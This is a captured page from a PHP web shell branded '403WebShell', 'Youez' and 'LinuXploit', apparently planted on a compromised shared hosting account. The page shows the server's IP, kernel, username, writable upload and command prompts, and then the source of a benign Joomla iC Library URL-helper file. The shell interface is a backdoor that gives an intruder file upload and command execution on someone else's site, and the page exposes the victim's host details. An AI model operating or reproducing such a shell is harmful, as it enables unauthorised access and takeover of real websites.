Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/ptitsanes/libraries/ic_library/url/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/ptitsanes/libraries/ic_library/url/url.php
<?php
/**
 *------------------------------------------------------------------------------
 *  iC Library - Library by Jooml!C, for Joomla!
 *------------------------------------------------------------------------------
 * @package     iC Library
 * @subpackage  url
 * @copyright   Copyright (c)2013-2019 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     1.4.3 2017-01-05
 * @since       1.0.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class iCUrl
 */
class iCUrl
{
	/**
	 * Function to check if an url exists
	 *
	 * @access	public static
	 * @param	url to be tested
	 * @return	true or false
	 *
	 * @since   1.0.0
	 */
	static public function url_exists($url)
	{
		if (@file_get_contents($url))
		{
			return true;
		}
		else
		{
			return false;
		}

		// Deprecated
//		$a_url = parse_url($url);
//		if (!isset($a_url['port'])) $a_url['port'] = 80;
//		$errno = 0;
//		$errstr = '';
//		$timeout = 30;
//		if(isset($a_url['host']) && $a_url['host']!=gethostbyname($a_url['host']))
//		{
//			$fid = fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
//			if (!$fid) return false;
//			$page = isset($a_url['path']) ?$a_url['path']:'';
//			$page .= isset($a_url['query'])?'?'.$a_url['query']:'';
//			fputs($fid, 'HEAD '.$page.' HTTP/1.0'."\r\n".'Host: '.$a_url['host']."\r\n\r\n");
//			$head = fread($fid, 4096);
//			fclose($fid);
//			return preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head);
//		}
//		else
//		{
//			return false;
//		}
	}

	/**
	 * Function to parse an url and apply control of component set
	 *
	 * @access  public static
	 * @param   $url        url to be parsed
	 *          $component  component to be checked (default 'scheme')
	 *
	 * @return	validate url
	 *
	 * @since   1.0.0
	 */
	static public function urlParsed($url, $component = 'scheme')
	{
		$parsed = parse_url($url);

		// Add http:// if scheme missing
		if ($component == 'scheme' && empty($parsed['scheme']))
		{
			$link = 'http://' . ltrim($url, '/');
		}
		else
		{
			$link = ltrim($url, '/');
		}

		return $link;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit